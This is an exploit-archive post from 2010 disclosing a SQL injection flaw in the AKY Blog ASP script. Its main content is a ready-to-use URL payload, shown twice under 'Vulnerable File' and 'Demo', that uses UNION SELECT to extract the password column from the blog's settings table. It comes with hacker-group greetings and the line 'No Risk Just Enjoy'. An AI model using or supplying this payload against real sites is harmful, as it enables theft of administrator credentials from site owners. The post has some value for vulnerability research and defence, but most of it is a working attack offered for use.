AKY Blog SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : AKY Blog SQL Injection Vulnerability
# Published : 2010-07-24
# Author : v0calist
# Previous Title : sNews v1.7 (index.php?category) SQL Injection Vulnerability
# Next Title : DM Filemanager 3.9.11 Arbitrary File Upload Vulnerability

===================================================
AKY Blog SQL ?njection 
===================================================
 
Author : Madconfig
Homepage :  www.worldhackerz.com
Mail : admin[at]worldhackerz[dot].com
Script : http://www.aspindir.com/indir.asp?ID=5954&sIslem=Indir
Risk : No Risk Just Enjoy
Dork :  :/ sorry
 
===================================================

[+] Vulnerable File : 

http://www.site.com/default.asp?islem=devami&id=38%20union+select+all+0,
sifre,2,3%20,4,5+from+aky_ayarlar

===================================================

[+] Demo : 

http://www.site.com/blog/default.asp?islem=devami&id=38%20union+s
elect+all+0,sifre,2,3%20,4,5+from+aky_ayarlar

===================================================

Greetz : Mezar,v0calist ,PaLa , By.ege, StreetCoder , AnqelHacker,M0sted 

and all  www.worldhackerz.com Member 

===================================================

# Turkish P0wer